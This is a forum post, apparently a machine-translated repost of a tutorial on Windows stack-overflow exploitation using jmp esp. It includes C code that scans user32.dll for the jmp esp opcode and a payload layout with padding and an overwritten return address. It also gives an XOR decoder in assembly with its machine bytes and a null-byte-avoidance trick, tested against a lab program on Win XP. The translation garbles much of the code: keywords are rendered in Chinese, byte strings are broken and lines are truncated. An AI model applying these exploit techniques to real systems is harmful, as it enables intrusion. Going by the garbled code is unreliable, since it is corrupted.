跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Windows Shellcode学习笔记3354 jmp esp在堆栈溢出中的利用与优化

精选回复

发布于

0x00 前言

《Windows Shellcode学习笔记——shellcode在栈溢出中的利用与优化》中介绍了堆栈溢出的利用。通过用外壳代码在内存中的起始地址覆盖返回地址,可以利用堆栈溢出。

但是shellcode在内存中的初始地址往往不固定,导致漏洞利用失败。本文将通过jmp esp来解决这个问题。

0x01 简介

代码在堆栈中保存的顺序(直观理解,其他细节已省略):

缓冲器

前一堆栈帧EBP

回信地址

电动选择型

ESP寄存器总是指向返回地址的下一个地址。

如果返回地址被jmp esp覆盖,函数返回后会执行jmp esp,跳转到esp,即执行返回地址的下一个地址。

因此,通过将shellcode放在返回地址之后,并用jmpsep覆盖返回地址,可以避免shellcode在内存中的移位问题。

本文将介绍使用jmp esp的具体细节,并分享如何优化我们自己的子弹盒实例shellcode,实现jmp esp的使用,自动编写程序解决shellcode在内存中初始地址不固定的问题。

弹框实例shellcode下载地址:

https://github . com/3g student/Shellcode-generator/blob/master/Shellcode . bin

0x01 jmp esp

获得jmp esp的机器码:

它可以通过搜索每个进程空间来获得。具体原理请参考第《0day安全:软件漏洞分析技术》节3.2.2。

为了便于理解和测试,直接引用《0day安全:软件漏洞分析技术》中3.2.2节的代码,如下:

#包括

#包括

#define DLL_NAME 'user32.dll '

int main()

{

BYTE * ptr

int位置,地址;

h实例句柄;

BOOL done _ flag=FALSE

handle=LoadLibrary(DLL _ NAME);

如果(!手柄)

{

printf(“加载dll错误”);

返回0;

}

ptr=(BYTE *)句柄;

for(position=0;done _ flag位置)

{

尝试

{

if(ptr[位置]==0x ff ptr[位置1]==0xE4)

{

int address=(int)ptr位置;

printf(“在0x%x\n”处找到操作码”,地址);

}

}

接住(.)

{

int address=(int)ptr位置;

printf('0x % x \ n '的结尾,地址);

done _ flag=true

}

}

返回0;

}

如下图,获取机器码,选择第一个地址0x77d29353,构建我们的shellcode。

2-1.png

初步假设shellcode的结构为:

填充数据(长度44)偏移长度jmp esp机器代码解码器加密的子弹盒外壳代码结束字符

具体数据如下:

\ x34 \ x33 \ x32 \ x31 " * 11 ' \ x90 \ x90 \ x90 \ x90 \ x90 ' ' \ x53 \ x93 \ x2 \ x77 ' ' \

这个过程由程序自动实现,代码如下:

#包括

size_t GetSize(char * szFilePath)

{

size_t大小;

FILE* f=fopen(szFilePath,' Rb ');

fseek(f,0,SEEK _ END);

size=ftell(f);

倒带(f);

fclose(f);

返回大小;

}

无符号char * ReadBinaryFile(char * SZ file path,size_t *size)

{

无符号char * p=NULL

FILE * f=NULL

size _ t RES=0;

* size=GetSize(SZ file path);

if (*size==0)返回NULL

f=fopen(szFilePath,' Rb ');

if (f==NULL)

{

printf('二进制文件不存在!\ n’);

返回0;

}

p=新的无符号字符[* size];

倒带(f);

res=fread(p,sizeof(无符号字符),*size,f);

fclose(f);

if (res==0)

{

删除[]p;

返回NULL

}

返回p;

}

int main(int argc,char* argv[])

{

char * SZ file path=' c:\ \ test \ \ shellcode . bin ';

char * SZ file path 2=' c:\ \ test \ \ shellcode 2 . bin ';

无符号char * BinData=NULL

size _ t size=0;

BinData=ReadBinaryFile(SZ file path,size);

for(int I=0;我

运行后生成shellcode2.bin。

由于自己生成的shellcode很长,测试时需要修改原书中的堆栈溢出程序,否则会报错,比如

如果(!(fp=fopen('password.txt ',' rw '))

应修正为

如果(!(fp=fopen('password2.txt ',' rb '))

更多细节请参考完整代码。堆栈溢出测试程序的完整代码已经上传到github,地址如下:

https://github . com/3g student/Shellcode-generator/blob/master/stack overflow example(jmpesp)。卡片打印处理机(Card Print Processor的缩写)

测试堆栈溢出测试程序

测试环境:

测试系统:Win XP

编译器:VC6.0

内部版本:调试版本

测试堆栈溢出测试程序,发现错误。

0x02 shellcode调试与优化

使用OllyDbg调试

在关键位置按F2断点,按F9断点执行。

如下图,返回地址被成功覆盖,值为0x77d29353。

2-2.png

按F8进入JMP ESP,如下图所示

2-3.png

接下来,F8在单一步骤中执行,如下图所示。此时EDX寄存器不再存储shellcode起始地址,EDX值为0x0012FFE0,而理论上shellcode起始地址应为0x0012F77C。

2-4.png

你需要找一个可以保存shellcode起始地址的寄存器或者有某种偏移关系的寄存器。

经过进一步调试,发现EDI寄存器的值在整个过程中保持不变,为0X0012F720,shellcode的初始地址发生了变化,不再是0x0012F77C。

如下图,在调用test2.004011A0的断点处,shellcode的起始地址从0x0012F77C变为0X0012F6F0。

2-5.png

如下图所示,0x0012F77C已经被覆盖,侧面显示shellcode的起始地址已经改变。

2-6.png

综上,可以大胆推测实际shellcode起始地址=EDI-0X000008F0h。

解码器的实现思路如下:

外壳代码起始地址由EDI-0X000008F0h获取,并存储在寄存器EAX中。

对应的汇编代码如下:

void main()

{

__asm

{

子edi,0x8F0

mov eax,edi

添加eax,0x28

xor ecx,ecx

解码_循环:

mov bl

xor bl,0x44

mov [eax ecx],bl

inc ecx

cmp bl,0x91

jne解码_循环

}

}

提取的机器代码是

\ x81 \ xEF \ xF0 \ x08 \ x00 \ x00 \ x8B \ xC7 \ x83 \ xC0 \ x28 \ x33 \ xC9 \ x8A \ x1C \ x08 \ X80 \ xF3 \ x44 \ x88 \ x1C \ x08 \ x41 \ X80 \ xFB \ x91 \ x75 \ xF1 '

2-7.png

此时\x00字符再次出现,实际使用时会被提前截断,所以汇编代码需要进一步优化:

外壳代码的\00字符通过两步加法和减法来避免。

注:

先减后加会导致越级。

加法和减法的两步运算如下:

EDI-0x 000008 f0h=0x 0012 f 7200x 1111111h-0x 1111119 a1h

因为shellcode前面的填充数据比较多,所以解码器的偏移量要重新计算,offset=填充数据长度解码器长度=0x340x26=0x5A。

完整的汇编代码如下:

void main()

{

__asm

{

添加edi,0X11111111

子edi,0X111119A1

mov eax,edi

添加eax,0x5A

xor ecx,ecx

解码_循环:

mov bl

xor bl,0x44

mov [eax ecx],bl

inc ecx

cmp bl,0x91

jne解码_循环

}

}

2-8.png

如上所示,提取的机器码是

\ x81 \ xC7 \ X11 \ X11 \ X11 \ x81 \ xEF \ xA1 \ x19 \ X11 \ x8B \ xC7 \ x83 \ xC0 \ x5A \ x33 \ xC9 \ x8A \ x1C \ x08 \ X80 \ xF3 \ x44 \ x88 \ x1C \ x08 \ x41 \ X80 \ xFB \ x91 \ x75 \ xF1 '

如下所示,寻址正常,外壳代码成功执行。

2-9.png

0x03 程序自动实现

上面的代码与获取jmp esp的机器码的代码集成在一起,从而自动获取jmp esp的机器码并写入shellcode。完整的代码已经上传到github:

https://github . com/3g student/Shellcode-generator/blob/master/jmpespshellcode . CPP

注:

通过子函数GetAddress()实现自动寻址,需要从子函数GetAddress()返回int数据,然后通过主函数中的指针读取jmp esp的机器码。

如果顺序颠倒,则无法获得地址。

的错误采集地址码如下:

无符号char *GetAddress()

{

BYTE * ptr

int位置,地址;

h实例句柄;

BOOL done _ flag=FALSE

handle=LoadLibrary(DLL _ NAME);

如果(!手柄)

{

printf(“加载dll错误”);

返回0;

}

ptr=(BYTE *)句柄;

for(position=0;done _ flag位置)

{

尝试

{

if(ptr[位置]==0x ff ptr[位置1]==0xE4)

{

int address=(int)ptr位置;

unsigned char * Buff=(unsigned char *)地址;

返回缓冲区;

}

}

接住(.)

{

int address=(int)ptr位置;

printf('0x % x \ n '的结尾,地址);

done _ flag=true

}

}

返回0;

}

无符号char * jmpesp=NULL

jmpesp=get address();

0x04 小结

介绍jmp esp在堆栈溢出中的利用方法,根据实际情况优化我们自己的子弹盒实例shellcode,选择固定的寄存器地址,计算偏移量,最后定位shellcode的初始地址完成利用。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。